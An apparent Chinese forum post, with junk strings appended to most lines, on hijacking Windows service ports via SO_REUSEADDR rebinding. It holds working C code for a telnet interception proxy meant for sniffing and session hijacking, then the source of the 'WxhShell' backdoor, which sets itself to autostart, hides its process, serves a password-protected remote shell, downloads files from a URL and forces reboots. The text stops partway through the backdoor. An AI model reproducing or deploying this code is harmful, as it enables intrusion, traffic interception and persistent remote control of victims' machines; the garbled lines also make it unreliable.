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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: m0=cMVCA!  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); GXT]K>LA  
q%OcLZ<,  
  saddr.sin_family = AF_INET; - *:p.(c  
5~@?>)TBv  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); %/UV_@x&  
 EX[B/YH  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 4=u+ozCG  
N@k3$+ls  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 d>lt  
+<S9E'gT3V  
  这意味着什么?意味着可以进行如下的攻击: Wc~3^ ;U  
&?SX4c~?u  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 >%9^%p^  
J?._/RL8-  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) qq OxTG]  
fA"<MslKLK  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 &}vR(y*#c  
h7bPAW=(  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  EfFz7j&X  
Yuwc$Qp)  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 7#~4{rjg  
|w=Ec#)t4  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 S-isL4D.Z  
gzVtxDh  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 S4L-/<s[*  
DW1@<X  
  #include <(fdHQD!7>  
  #include Xl#Dw bx  
  #include J4YT)-  
  #include    bRWIDPh  
  DWORD WINAPI ClientThread(LPVOID lpParam);   8V6=i'GK  
  int main() *%:@ cbF-M  
  { &svx@wW  
  WORD wVersionRequested; Vd,'  s  
  DWORD ret; 7e1dEgn  
  WSADATA wsaData; z<a$q3!#  
  BOOL val; I`22Zwq:  
  SOCKADDR_IN saddr; T36x=LX  
  SOCKADDR_IN scaddr; 8QT<M]N%  
  int err; St6aYK  
  SOCKET s; C`dkD0_  
  SOCKET sc;  ( :  
  int caddsize; A'Gl Cp  
  HANDLE mt; 5gSylts8  
  DWORD tid;   34z_+  
  wVersionRequested = MAKEWORD( 2, 2 ); "\7v  
  err = WSAStartup( wVersionRequested, &wsaData ); G@9u:\[l  
  if ( err != 0 ) { 5B1G?`]?  
  printf("error!WSAStartup failed!\n"); NeHx2m+  
  return -1; >L8?=>>?\  
  } os[ZIHph  
  saddr.sin_family = AF_INET; L~IE,4  
   H#+\nT2m  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 jk )Vb  
3S5^ `Ag#  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ZI,j?i6\  
  saddr.sin_port = htons(23); y`4{!CEyLW  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;>DHD*3X  
  {  }<=3W5+  
  printf("error!socket failed!\n"); &M[MEO`t8  
  return -1; )Nbc/nB$  
  } _mXs4  
  val = TRUE; %4,xx'`  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 e8oKn&  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) f e|g3>/|  
  { >:2}V]/ ;  
  printf("error!setsockopt failed!\n"); $0#6"urG  
  return -1; h}h^L+4  
  } s D_G)c  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; b4 CF`BG  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 RAV^D.  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 '@bJlJB9>  
'99@=3AB:`  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) GzdRG^vN  
  { L?8^aG  
  ret=GetLastError(); j9:/RJS  
  printf("error!bind failed!\n"); qbb6,DL7J  
  return -1; 34z+INkX  
  } X]!D;7^  
  listen(s,2); h$pk<<  
  while(1) O=aw^|oj]  
  { +i.u< T  
  caddsize = sizeof(scaddr); vG~+r<:  
  //接受连接请求 B!}BM}r  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ?eV_ACpZ8  
  if(sc!=INVALID_SOCKET) Q ]"jD#F  
  { =2%VZE7Vm  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 9 6=Z"  
  if(mt==NULL) o&z!6"S<  
  { 3 CM^j<9  
  printf("Thread Creat Failed!\n"); Q.A \U>AgV  
  break; 0 _A23.Y  
  } qBYg[K>  
  } Jt]&;0zn2  
  CloseHandle(mt); Iyyo3awc  
  } 0/Z !5-.  
  closesocket(s); IE;\7 r+h  
  WSACleanup(); Qs l80~n_7  
  return 0; |n`PESf_  
  }   Ux}W&K/?'  
  DWORD WINAPI ClientThread(LPVOID lpParam) |gv{z"  
  { Efx=T$%^&  
  SOCKET ss = (SOCKET)lpParam; FaY_ 0G;y  
  SOCKET sc; \0?$wIH?  
  unsigned char buf[4096]; pDn&V(  
  SOCKADDR_IN saddr; ,[X_]e;  
  long num; J4>;[\%m  
  DWORD val; |@RpWp>2  
  DWORD ret; XQ?fJWLU  
  //如果是隐藏端口应用的话,可以在此处加一些判断 \GL*0NJ  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   b+{r! D}~  
  saddr.sin_family = AF_INET; \}#@9=  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); zTY;8r+  
  saddr.sin_port = htons(23); mj2Pk,,SA  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Nqc p1J"  
  { z)}!e,7  
  printf("error!socket failed!\n"); 9i=B  
  return -1; ? %(spV  
  } }G'XkoI&  
  val = 100; ubbnFE&PD  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) G;s"h%Xw98  
  { NiA4JgM]v  
  ret = GetLastError(); :, _!pe;H  
  return -1; TQc@lR!  
  } xS8,W  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _TUm$#@Y`  
  { sbnjy"Z%  
  ret = GetLastError(); }pawIf4V  
  return -1; T SjI z5  
  } g jxS  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) qTM%G-  
  { X>zlb$  
  printf("error!socket connect failed!\n"); H)>sTST(  
  closesocket(sc); f%XJ;y\,9H  
  closesocket(ss); c}-(.eu  
  return -1; P!e=b-T  
  } m Ni2b*k  
  while(1) 2*2:-o cl$  
  { z%sy$^v@vD  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 I[D8""U  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 M0w/wt|  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 {C")#m-0  
  num = recv(ss,buf,4096,0); r N5tI.iC  
  if(num>0) q3h'l,  
  send(sc,buf,num,0); 4 1t)(+r  
  else if(num==0) ;>>C)c4V"  
  break; 9v?l  
  num = recv(sc,buf,4096,0); "9XfQ"P  
  if(num>0) UyiJU~r1  
  send(ss,buf,num,0); aG{$Ic  
  else if(num==0) u9Y3?j,oC  
  break; ] fwZAU  
  } {( tHk_q  
  closesocket(ss); Ri)uq\E/#  
  closesocket(sc); 9Ah[rK*}  
  return 0 ; lH2wG2  
  } x({C(Q'O  
 tR)H~l7q  
80;n|nNB  
========================================================== FTf<c0  
P^)q=A8Z#  
下边附上一个代码,,WXhSHELL 4kl Ao$  
X`JV R"=4  
========================================================== [4Q"#[V&9  
Kq)MTlP0g  
#include "stdafx.h" z|N3G E(.@  
p2 %  
#include <stdio.h> 1m@^E:w  
#include <string.h> BVpO#c~I  
#include <windows.h> c#cx>wq9  
#include <winsock2.h>  L,LNv  
#include <winsvc.h> xDLG=A%]z  
#include <urlmon.h> W|5_$p  
s?C&s|'.  
#pragma comment (lib, "Ws2_32.lib") Log|%P\  
#pragma comment (lib, "urlmon.lib") 1AD]v<M  
T+IF}4e d  
#define MAX_USER   100 // 最大客户端连接数 D Ml?o:l  
#define BUF_SOCK   200 // sock buffer ]! *[Q\  
#define KEY_BUFF   255 // 输入 buffer oBQm05x"  
5h{`<W  
#define REBOOT     0   // 重启 >I"V],d!6  
#define SHUTDOWN   1   // 关机 B.dT)@Lx0  
9KuD(EJS  
#define DEF_PORT   5000 // 监听端口 7'lZg<z{~j  
+^|iZbZKx  
#define REG_LEN     16   // 注册表键长度 4JyM7ePND}  
#define SVC_LEN     80   // NT服务名长度 v6=-g$FG  
f!_ ctp  
// 从dll定义API &qM[g 9  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~+6Vdx m  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); sW@krBxMv  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); h*i9m o  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 9&]M**X  
S.*~C0"  
// wxhshell配置信息 .ic:`1  
struct WSCFG { <n"C,  
  int ws_port;         // 监听端口 f58?5(Dc|  
  char ws_passstr[REG_LEN]; // 口令 5 `/< v^  
  int ws_autoins;       // 安装标记, 1=yes 0=no K4ZolWbU  
  char ws_regname[REG_LEN]; // 注册表键名 gb|Q%LS9R  
  char ws_svcname[REG_LEN]; // 服务名 }f}}A=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 PJ4(}a  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @~td`Z?1 y  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *Mc7f?H  
int ws_downexe;       // 下载执行标记, 1=yes 0=no [^YA=K hu  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" e GL1  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {-/^QX]6  
"/{RhY<  
}; NQHz<3S[  
8jlLUG:g  
// default Wxhshell configuration Z~  
struct WSCFG wscfg={DEF_PORT, 4'1m4Ugg  
    "xuhuanlingzhe", !U%T&?E l  
    1,  >w6taX  
    "Wxhshell", fh8j2S9J  
    "Wxhshell", s"KJiQKGM  
            "WxhShell Service", ,MPB/j^o5!  
    "Wrsky Windows CmdShell Service", Gbpw5n;e  
    "Please Input Your Password: ", rZXrT}Xh{W  
  1, !A3-0zN!  
  "http://www.wrsky.com/wxhshell.exe", bPK Ow<  
  "Wxhshell.exe" y] oaO+  
    }; aW_oD[l  
PUJ2`iP1^3  
// 消息定义模块 68fiG  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; G"5D< ]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; E>LkJSy=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; T4/fdORS  
char *msg_ws_ext="\n\rExit."; . 5y"38e  
char *msg_ws_end="\n\rQuit."; U @v*0  
char *msg_ws_boot="\n\rReboot..."; YUU-D(  
char *msg_ws_poff="\n\rShutdown..."; f_^1J  
char *msg_ws_down="\n\rSave to "; pO  Iq%0]  
Oc].@Jy  
char *msg_ws_err="\n\rErr!"; 6Q&r0>^{  
char *msg_ws_ok="\n\rOK!"; NH<gU_s8{9  
~5 N)f UI\  
char ExeFile[MAX_PATH]; (:V>Hjt  
int nUser = 0; Xl7aGlH  
HANDLE handles[MAX_USER]; 8F(h*e_?  
int OsIsNt; p^kUs0$GS  
$3T_ .  
SERVICE_STATUS       serviceStatus; IzOYduJ.  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; }TQ{`a@  
TcTM]ixr  
// 函数声明 mbRq JT>@  
int Install(void); =WdaxjenZ/  
int Uninstall(void); thi1kJ`L  
int DownloadFile(char *sURL, SOCKET wsh); qLL,F  
int Boot(int flag); ,C.:;Ime({  
void HideProc(void); Jb)#fH$L  
int GetOsVer(void); #o/ H~Iv  
int Wxhshell(SOCKET wsl); k#Of]mXXz  
void TalkWithClient(void *cs); % }|cb7l  
int CmdShell(SOCKET sock); sbkQ71T:  
int StartFromService(void); LH 3}d<{  
int StartWxhshell(LPSTR lpCmdLine); NgCuFL(Ic  
/iNa'W5\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5 8-e^.  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ne61}F"E  
H7U li]e3  
// 数据结构和表定义 +x? #DH-  
SERVICE_TABLE_ENTRY DispatchTable[] = GuZ ( &G6*  
{ t>GfM  
{wscfg.ws_svcname, NTServiceMain}, U-k+9f 0  
{NULL, NULL} X8dR+xd  
}; \;-fi.Hrf$  
`~eX55W  
// 自我安装 \~d";~Y`  
int Install(void) k%wn0Erd  
{ =~Ynz7 /x  
  char svExeFile[MAX_PATH]; J89Dul l  
  HKEY key; CycUeT  
  strcpy(svExeFile,ExeFile); (Rk_-9_E.  
50TA :7  
// 如果是win9x系统,修改注册表设为自启动 L%v^s4@  
if(!OsIsNt) { G$'jEa<:u  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { di)*-+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); IM$2VlC  
  RegCloseKey(key); =.]l*6W V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q%/<ZC.Mz6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xvzr:p P  
  RegCloseKey(key); l no vykR  
  return 0; Z3k(P  
    } 7&`}~$>}>e  
  } @prG%vb"  
} 4`Q3v4fOF  
else { ;fw1  
{X2`&<i6  
// 如果是NT以上系统,安装为系统服务 BR'I+lQ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,BFE=:ZIK  
if (schSCManager!=0) !zPG? q]3  
{ "dR |[a<#g  
  SC_HANDLE schService = CreateService $M_x!f'{>  
  ( |/g W_;(  
  schSCManager, -~eJn'W  
  wscfg.ws_svcname, mcz+ P |  
  wscfg.ws_svcdisp, 1Z[/KJ  
  SERVICE_ALL_ACCESS, | K?#$~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;})5:\h  
  SERVICE_AUTO_START, 7'wS\/e4a  
  SERVICE_ERROR_NORMAL, Qr1e@ =B  
  svExeFile, L,d LE-L  
  NULL, TI9UXa:V\  
  NULL, <<D$+@wxm  
  NULL, =n^!VXaL]]  
  NULL, c4_`Ew^k  
  NULL [Q\GxX.  
  ); ?u4INZ0W  
  if (schService!=0) 2=?tJ2E  
  { ^:9$@ +a  
  CloseServiceHandle(schService); 0Io'bF  
  CloseServiceHandle(schSCManager); $?,a[79  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Tirux ;  
  strcat(svExeFile,wscfg.ws_svcname); /h v4x9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { k3+e;[My+  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Rwr 2gMt7  
  RegCloseKey(key); )s1Ib4C  
  return 0; t}v2$<!I  
    } izKfU?2]X@  
  } :K\mN/ x  
  CloseServiceHandle(schSCManager); [4fU+D2\d  
} J$~<V IX  
} ]"c+sMW  
3nY1[,  
return 1; 2F%W8Y 3  
} /-6S{hl9Ne  
`mye}L2I  
// 自我卸载 0&ByEN9 9  
int Uninstall(void) B?$ "\;&  
{ j@Yi`a(sdm  
  HKEY key; %{6LUn  
^m_yf|D$  
if(!OsIsNt) { rF\ "w0J_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { K[chjp!$l  
  RegDeleteValue(key,wscfg.ws_regname); kE TT4U  
  RegCloseKey(key); X0 -IRJ[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $+}+zZX5  
  RegDeleteValue(key,wscfg.ws_regname); 86f2'o+  
  RegCloseKey(key); "RVcA",  
  return 0; %gnM( pxl  
  } ,G#.BLH cX  
} azjEq$<M  
} eMRar<)+#*  
else { 3:%QB9qc]'  
4@.|_zY  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); uP\lCqK,  
if (schSCManager!=0) RtG}h[k/X  
{ ~x{.jn  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); V|)>{Xdn  
  if (schService!=0) gPC*b+  
  {  `[zQf  
  if(DeleteService(schService)!=0) { `V[!@b:  
  CloseServiceHandle(schService); s] /tYJYl  
  CloseServiceHandle(schSCManager); 1Y_w5dU  
  return 0; vd`}/~o  
  } nN$Y(2ZN  
  CloseServiceHandle(schService); ?j^=u:<  
  } 5unG#szq  
  CloseServiceHandle(schSCManager); ?=GXqbS"  
} RvJ['(-  
} ] 4+s$rG  
|}){}or  
return 1; 569}Xbc/  
} 1B*WfP~  
cNzt%MjP  
// 从指定url下载文件 bbxLBD'  
int DownloadFile(char *sURL, SOCKET wsh) rzp +:  
{ ,mPnQ?  
  HRESULT hr; Oo?,fw  
char seps[]= "/"; 4E44Hzs  
char *token; D[O{(<9  
char *file; ?}Z1(it0  
char myURL[MAX_PATH]; FZB~|3eq{  
char myFILE[MAX_PATH]; $ _8g8r}  
<"o"z2  
strcpy(myURL,sURL); hO{cvHy`  
  token=strtok(myURL,seps); .s/fhk,  
  while(token!=NULL) *9ywXm&?  
  { RkF D*E$  
    file=token; u6:pV.p  
  token=strtok(NULL,seps); =O|c-k,f@  
  } j?b\+rr  
`"vZ);i <  
GetCurrentDirectory(MAX_PATH,myFILE); pIW I  
strcat(myFILE, "\\"); Es5  
strcat(myFILE, file); KC e13!  
  send(wsh,myFILE,strlen(myFILE),0); 1Xy]D  
send(wsh,"...",3,0); _DRrznaw  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); BiE08,nj  
  if(hr==S_OK) Bs`$ i ;&  
return 0; K[ .JlIP  
else 4^6.~6a  
return 1; +b;hBb]R  
F2(q>#<_  
} I[o*RKT'"  
df+t:a  
// 系统电源模块 OEdJc\n_R  
int Boot(int flag) C@o%J.9"#  
{ 9^P2I)aD  
  HANDLE hToken; -6Tk<W  
  TOKEN_PRIVILEGES tkp;  Z:2I/  
Kr  L>FI  
  if(OsIsNt) { "a1O01n  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); WUAJjds  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ]O:M$ $  
    tkp.PrivilegeCount = 1; (yQ 5`  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3l!NG=R  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); oN[Th  
if(flag==REBOOT) { 8YY|;\F)J~  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) t$^l<ppQ  
  return 0; 4C~UcGMv\  
} e^).W3SK]  
else { cu#e38M&eE  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) "YFls#4H-  
  return 0; 1S%k  
} ?4PQQd  
  } _X5_ez^/=  
  else { c yQ(fIYl  
if(flag==REBOOT) { ~pP0|B*%  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ed~R>F>  
  return 0; 4h 5_M8I  
} ^Uw[x\%#gD  
else { g: %9jf  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~HLRfL?  
  return 0; [_DPxM=V  
} 6DS43AQs  
} #Olg(:\  
Uku5wPS  
return 1; ESQ!@G/n  
} dK?); *w]  
,j9 80/  
// win9x进程隐藏模块 8q_0,>w%  
void HideProc(void) 1/j$I~B   
{ Q49BU@xX  
DMgBcP  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); o 5Zyh26  
  if ( hKernel != NULL ) ^^Lj I  
  { vd~U@-C=R  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); :=g.o;(/N  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ?#[)C=p]z  
    FreeLibrary(hKernel); c;!g  
  } Vb6K:ZnF  
#;j9}N  
return; i&tsYnP2  
} 4_Rdp`x#J  
n`5WXpz4;  
// 获取操作系统版本 4KIWb~0Y  
int GetOsVer(void) Cyk s  
{ XSD%t8<LO  
  OSVERSIONINFO winfo; xe:' 8J6L  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); FUTn  
  GetVersionEx(&winfo); f'/ KMe%<  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 2ChWe}f  
  return 1; /5a;_  
  else tjzA)/T,4  
  return 0; }OKL z.5  
} hTS|_5b  
]mkJw3  
// 客户端句柄模块 `"<2)yq?  
int Wxhshell(SOCKET wsl) >[K?fJ$+  
{ $4j^1U`~)K  
  SOCKET wsh; )h"Fla  
  struct sockaddr_in client; }""p)Y&  
  DWORD myID; XeUprN  
=y;@?=T  
  while(nUser<MAX_USER) v&0d$@6/U  
{ 'C]jwxy  
  int nSize=sizeof(client); fGO*% )  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); v5Y@O|i#  
  if(wsh==INVALID_SOCKET) return 1; ya>N.h  
<q6`~F~|  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); A~y VYC6l  
if(handles[nUser]==0) 6o lV+  
  closesocket(wsh); NhlJ3/J j  
else i7v/A&Rc  
  nUser++; 6Kht:WE  
  } q!*MH/R  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); XARSGAuw  
Qv!rUiXq  
  return 0; M)=|<h"F  
} s>J3\PC  
.HDebi  
// 关闭 socket }9}w8R~E  
void CloseIt(SOCKET wsh) R<j<. h  
{ J[+Tj @n'  
closesocket(wsh); a@k.$  
nUser--; ORtg>az\%  
ExitThread(0); yA0Y 14\*  
} G;9|%yvd8  
Bfn]-]>sD  
// 客户端请求句柄 Xa*?<(^`  
void TalkWithClient(void *cs) }!knU3J  
{ ;>/ipnx  
<[FS%2,0mb  
  SOCKET wsh=(SOCKET)cs; JchA=n  
  char pwd[SVC_LEN]; p}r yKW\cJ  
  char cmd[KEY_BUFF]; jQ^Yj"6  
char chr[1]; KMe.i'  
int i,j; /J8o_EV  
h+ TB]  
  while (nUser < MAX_USER) { c}8 -/P=  
}kv)IJ  
if(wscfg.ws_passstr) { l]/> `62  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7j95"mI  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R>` ih&,)  
  //ZeroMemory(pwd,KEY_BUFF); 8|Q4-VK<!  
      i=0; 5bF5~D(E  
  while(i<SVC_LEN) { JN)"2}SE  
B ;;cbY  
  // 设置超时 y8}"DfU.  
  fd_set FdRead; MsSoX9A{D  
  struct timeval TimeOut; +:b(%|  
  FD_ZERO(&FdRead); QZ:v  
  FD_SET(wsh,&FdRead); ;7)OSGR  
  TimeOut.tv_sec=8; AV9:O{  
  TimeOut.tv_usec=0; P)4x   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 89ZDOji?O  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); i"KL;t[1  
AwA1&mh  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ul}4p{ m[  
  pwd=chr[0]; vN' VDvVM  
  if(chr[0]==0xd || chr[0]==0xa) { O} (E(v  
  pwd=0; |#!eMJ&0  
  break; ./2Z?,  
  } y K=S!7p\  
  i++; |\rSa^:5  
    } }q/(D?  
=nw,*q +  
  // 如果是非法用户,关闭 socket YcEtgpz@  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }isCv b  
} 8x` Kl(  
,d3Q+9/  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1+VY><=n  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P~n8EO1r  
CuF%[9[cT  
while(1) { ,,zd.9n  
_95- -\  
  ZeroMemory(cmd,KEY_BUFF); ;sm"\.jF  
q.U*X5  
      // 自动支持客户端 telnet标准   !4i,%Z& 6  
  j=0; p3{x<AO/  
  while(j<KEY_BUFF) { ]L[JS^#7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); PjiNu.>2(  
  cmd[j]=chr[0]; t00\yb^vJ8  
  if(chr[0]==0xa || chr[0]==0xd) { |C&%S"*+D  
  cmd[j]=0; @Pd) %'s  
  break; BYkVg2D(  
  } m j'"Z75  
  j++; ^mS.HT=X  
    } z +y;y&P  
^cfkP(Y3kx  
  // 下载文件 z (c@(UD-_  
  if(strstr(cmd,"http://")) { s@.`"TF.7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); UZ[/aq  
  if(DownloadFile(cmd,wsh)) !5yRWMO9X~  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); b EoB;]  
  else +e&m#d  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~W]#9&yQ  
  } \9[NH/.Z{  
  else { HTR "mQ  
GMVC&^  
    switch(cmd[0]) { byEvc[/>Ys  
  c13vEn!c  
  // 帮助 C.b,]7i  
  case '?': {  Dlqn~  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); x&Q+|b%  
    break; Z[DetRc-  
  } rC* sNy2  
  // 安装 rTWh(8T  
  case 'i': { .rt8]%  
    if(Install()) !:]s M-cCt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >!:$@!6L  
    else 2GHXn:V  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i*mZi4URN  
    break;  '7S!6kd?  
    } u|]mcZ,ZW  
  // 卸载 ] P:NnKgK  
  case 'r': { Td["l!-fe  
    if(Uninstall()) J dk3) \  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SH@  
    else BLl%D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _QC?:mv6-  
    break; 7/5NaUmPTt  
    } U.zRIhA ]  
  // 显示 wxhshell 所在路径 _mIa8K;  
  case 'p': { Uxj<x`<1x  
    char svExeFile[MAX_PATH]; _WRR 3  
    strcpy(svExeFile,"\n\r"); 4Zv.[V]iOO  
      strcat(svExeFile,ExeFile); kxr6sO~  
        send(wsh,svExeFile,strlen(svExeFile),0); =8$(i[;6w  
    break; gQ[]  
    } 97:t29N  
  // 重启 }QX2 :a  
  case 'b': { c<JM1  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); KZp,=[t  
    if(Boot(REBOOT)) XwKZv0ub  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -z>Z0viA  
    else { _rWM]  
    closesocket(wsh); c5T~0'n  
    ExitThread(0); ShEaL&'J  
    } _G-b L;  
    break; kz$6}&uk  
    } ?34EJ !  
  // 关机 vy2*BTU?  
  case 'd': { =,/A\F  
